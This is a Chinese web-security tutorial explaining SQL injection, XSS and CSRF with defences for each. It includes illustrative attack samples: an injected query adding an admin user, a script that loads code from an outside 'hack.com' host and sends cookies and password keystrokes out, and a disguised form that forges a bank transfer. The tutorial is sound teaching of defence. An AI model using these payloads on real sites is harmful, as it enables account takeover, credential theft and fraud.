愿你坚持不懈,努力进步,进阶成自己理想的人

—— 2017.09, 写给3年后的自己

Web常见不安全因素(SQL注入、XSS攻击、CSRF攻击)

常见的Web不安全因素有:SQL注入、XSS攻击、CSRF攻击

一、SQL注入

SQL注入是指通过表单域或者查询字符串中插入恶意SQL代码,欺骗服务器来达到执行恶意SQL命令的目的。
如有服务端语句:

$id  = $_GET['id'];
$sql = "SELECT * FROM articles WHERE `id`=".$id;

在正常情况下,如果查询字符串id是正常输入下不会有问题。比如:http://example.com/?id=1。但是如果是这么访问http://example.com/?id=1; INSERT INTO users (username, password) VALUES('newAdmin', '123456'),那么因为服务器没有进行过滤,就会导致执行的SQL语句变成了:

SELECT * FROM articles WHERE `id`=1;
INSERT INTO users (username, password) VALUES('newAdmin', '123456');

从而造成安全问题。
那么,如何防止SQL注入?
1、永远不要相信用户的输入,对用户的输入进行有效过滤和判断,对单引号和双-进行转换等
2、不要使用动态拼装的SQL语句
3、不要使用超级用户或者超级管理员账号去连接数据库,为每个应用单独设置权限
4、对于机密信息,不要明文存放,进行加密或者散列

二、XSS攻击

XSS攻击(Cross-Site Script,跨站脚本),是指攻击者往Web页面里插入恶意的htmljavascript代码,导致欺骗用户误以为当前的环境是安全的而输入敏感信息,从而导致敏感信息被攻击者窃取。
比如现在某网站存在一个XSS漏洞,导致用户可以插入恶意的htmljavascript代码,如:
页面`http://purchase.somebank.com/

<!--// 省略 ... -->
<!--// 因为某个地方存在漏洞,导致攻击者在此植入了一段代码 -->
<script type="text/javascript" src="http://hack.com/hack.js"></script>
<script type="text/javascript">
var pwd = document.getElementById('pwd');
sendCookie(document.cookie);
pwd.addEventListener("keyup", function(e) {
    sendToOutside(e.key);
});
</script>
<!--// 省略 ... -->

当用户访问这个页面的时候,用户是信任该网站的,从而输入了自己的密码。但是由于攻击者植入了恶意代码,导致用户的输入被监听,从而发送给了攻击者。
如何防止XSS攻击?
1、对用户输入的地方和变量,都要注意检查长度。要对<>;'、```等字符做过滤
2、避免在cookie中泄露用户隐私

三、CSRF攻击

CSRF(Cross Site Request Forgery,跨站请求伪造),是指攻击者盗用了你的身份,以你的名义发送恶意请求。因为服务器无法识别请求是攻击者发送的,还是用户发送的
完成一次CSRF攻击,需要完成两个步骤:
1、用户登陆信任的网站A,获得cookie
2、用户没有退出网站A,访问了危险的网站B
举例,假设某银行的转账操作页面如:

<form action="http://somebank.com/transfer">
    <p>对方账户:<input type="text" name="account"></p>
    <p>转账金额:<input type="text" name="amount"></p>
    <button type="submit">转账</button>
</form>

用户登陆进了银行网站,且获得了Cookie。但是他并没有进入这个转账页面,这时候,用户去了恶意网站B,恶意网站B有个表单:

<form action="http://somebank.com/transfer">
    缘分测试!看你几岁能够遇到你的另一半:
    输入名字:<input type="text" />
    <input type="hidden" name="account" value="1234567890">
    <input type="hidden" name="amount" value="10000">
    <button type="submit">测试</button>
</form>

然后用户点击了“测试”按钮,发现不对劲,被B网站骗了。而此时B网站,已经成功代替用户发送了一个转账请求,转走了10000元
如何防止CSRF攻击?
防范CSRF攻击的关键,就是要区别请求是否 真实是用户发出 的,所以:
1、在用户表单域加入CSRF_TOKEN,因为恶意网站B无法获得这个CSRF_TOKEN,所以请求就是无效的。CSRF_TOKEN可以是基于随机数的,也可以是COOKIE(由于跨域限制,B网站是无法获得这个COOKIE的),但是COOKIE仍然可能会在发生XSS的情况下,有可能被盗取
2、加入一个验证码


那么,CSRF和XSS攻击有什么区别?
1、XSS攻击主要是获取信息,而CSRF则是代替用户完成操作。
2、XSS不需要提前知道用户页面的代码和数据包,而CSRF需要知道要伪造的代码和数据包